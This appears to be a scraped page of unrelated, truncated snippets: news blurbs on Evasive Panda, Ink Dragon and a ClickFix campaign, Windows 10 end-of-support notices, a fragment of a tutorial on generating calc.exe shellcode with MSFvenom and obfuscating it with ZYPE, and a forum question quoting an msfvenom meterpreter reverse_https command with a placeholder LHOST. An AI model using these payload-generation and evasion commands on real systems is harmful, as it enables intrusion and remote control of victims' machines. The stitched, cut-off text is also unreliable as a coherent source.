China-linked Evasive Panda used DNS poisoning to deliver the MgBot backdoor in targeted espionage attacks from 2022 to 2024.

In the following example, I will use MSFvenom to generate a Windows shellcode to execute calc.exe and use ZYPE to do the IPv6 obfuscation. Let's first generate the shellcode. This will generate the ...

China-aligned Ink Dragon targets government and telecom networks using ShadowPad and FINALDRAFT malware across Europe, Asia, ...

The ClickFix campaign disguises malware as legitimate Windows updates, using steganography to hide shellcode in PNG files and bypass security detection systems.

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With Windows 10 support ending in October this year, upgrading to Windows 11 is not only crucial, but it is also the easiest way to stay secure and continue receiving new features. Microsoft continues ...

How come there are no user-agent strings embedded in the shellcode when using this command: msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP> LPORT=443 ...

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Windows 10 is slowly on its way out, as Microsoft has announced it'll stop issuing free software updates after Oct. 14, 2025. At the same time, there are plenty of reasons why you might be hesitant to ...